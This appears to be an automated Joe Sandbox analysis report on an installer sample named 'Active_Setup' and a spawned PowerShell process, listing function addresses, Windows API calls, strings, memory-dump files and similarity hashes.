Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 65b4e2bc04cdfc761cbb664ad7f9fd0a470a6c6464aa2ef3bfae8e7c7ff5a66d
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: powershell.exePID: 8080, Parent PID: 7688COMMON

Executed Functions

Function 074B1A68 Relevance: 5.6, Strings: 4, Instructions: 579COMMON

Download Yara Rule

Strings

4'^q, xrefs: 074B1DA6
4'^q, xrefs: 074B1F00
4'^q, xrefs: 074B1DB0
4'^q, xrefs: 074B1F0A

Memory Dump Source

Source File: 00000011.00000002.2111099058.00000000074B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_74b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: e1608b492516618ab4075de137cf7623230005cea42c39605abd588f60eeede5
Instruction ID: cca4d8b7503535814d91fadfdf1000ee4e60a0324d736b18c58628e94b027f70
Opcode Fuzzy Hash: e1608b492516618ab4075de137cf7623230005cea42c39605abd588f60eeede5
Instruction Fuzzy Hash: 3E1222B1B042098FCB358A7988217EBBBA2AFC6310F1484ABD555DB351DB31DD46C7A2

Function 00FD4900 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2101242434.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 447af5a656f9789829b8205b846543fd3d8f1dfbbeddb105ec94fe991e4a6c0a
Instruction ID: 3c9d0697a533d5e0a28af6eb0ac8666d11fad1c155a516f3a4e4f0ffb1a76277
Opcode Fuzzy Hash: 447af5a656f9789829b8205b846543fd3d8f1dfbbeddb105ec94fe991e4a6c0a
Instruction Fuzzy Hash: 93D14D35E052489FCB05CFA8D590A9DFBF2BF89310F298196E444AB366C735ED45CB90

Function 00FD2A68 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2101242434.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66765f594fe553c9f7218ebfd88c668dbbe8b03f713e603053258b5308fbdeef
Instruction ID: 571ac4a7c2bd0708700725b98dbaeeea04752a4058f077a60e74c20f0a9ebd48
Opcode Fuzzy Hash: 66765f594fe553c9f7218ebfd88c668dbbe8b03f713e603053258b5308fbdeef
Instruction Fuzzy Hash: F1314175A096859FCB02CF68C890999FFB1FF4A310B19419AD448EB362C335EC45CBA1

Function 00FD2AB0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2101242434.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e56eaa3ec095102816a242b60aceac9551a7cc0ab78fa2009ff4ac75a673345c
Instruction ID: 8063023be4c7c503543c39566f1244a57947a07b43348367bf89fe954750a8b5
Opcode Fuzzy Hash: e56eaa3ec095102816a242b60aceac9551a7cc0ab78fa2009ff4ac75a673345c
Instruction Fuzzy Hash: 08212A74A046099FCB41CF59C9809AEFBB1FF49310B248596E419EB362C735EC41CBA0

Function 00FD48F0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2101242434.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d989614375e2e5848e94110c07fa0e810524c248ba725a188d0b8cc10685abbe
Instruction ID: 0ff600aa45d7653f371ca42b319b8dcd77a7dc99554f344920958a5247134af5
Opcode Fuzzy Hash: d989614375e2e5848e94110c07fa0e810524c248ba725a188d0b8cc10685abbe
Instruction Fuzzy Hash: EB212C74A052598FCB01CFA9C5909AEFBB1FF49310B14859AE959AB352C331ED41CBA1

Function 00EFD005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2100790718.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_efd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 886a867abe2e6d6ea82f2be94288d7ddc119a2e4330d3316b2b8b4b83a13b680
Instruction ID: d42381b341024939535235de5f453e77f848d54dd9757ad8d2b51faa84769ad8
Opcode Fuzzy Hash: 886a867abe2e6d6ea82f2be94288d7ddc119a2e4330d3316b2b8b4b83a13b680
Instruction Fuzzy Hash: 95016D7100E3C49ED7128B258C94762BFB49F53224F0DC1DBD9888F1A3C2695849C772

Function 00EFD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2100790718.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_efd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a17d90e04cf662f2aee08678170ef9afbad09aad22f0c6d62698ed49bcc5c7a
Instruction ID: 6439cba2aace2e380fe65add032255798bcc07831d08d2f000550e58f189086d
Opcode Fuzzy Hash: 8a17d90e04cf662f2aee08678170ef9afbad09aad22f0c6d62698ed49bcc5c7a
Instruction Fuzzy Hash: 0E012B3110C3089AE7104B25CD84777FFDADF41324F18C52AEE085B146CA79DC41C6B1

Function 00FD5135 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2101242434.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad31a9789cf7b6577e45837316d746b8791bdcdf6ef165e90785165cd538bb01
Instruction ID: 4a1ee35399a03d761410c4f857277e11c9ed1cfcf4be1471e381f2c52dbe195b
Opcode Fuzzy Hash: ad31a9789cf7b6577e45837316d746b8791bdcdf6ef165e90785165cd538bb01
Instruction Fuzzy Hash: C7F049B8A002049FC700CB58D994EAAF7B5FF8C310B208099D90A97361C736EC43CB90

Function 00FD34F6 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2101242434.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_fd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 603252758c5eddb0ec8c8ea5fcac0c331ef80313835f29fc646df6d005bd6523
Instruction ID: e72409a7675182293b87c01e61b3f05836735d9a0e44045eb24747f76334dec2
Opcode Fuzzy Hash: 603252758c5eddb0ec8c8ea5fcac0c331ef80313835f29fc646df6d005bd6523
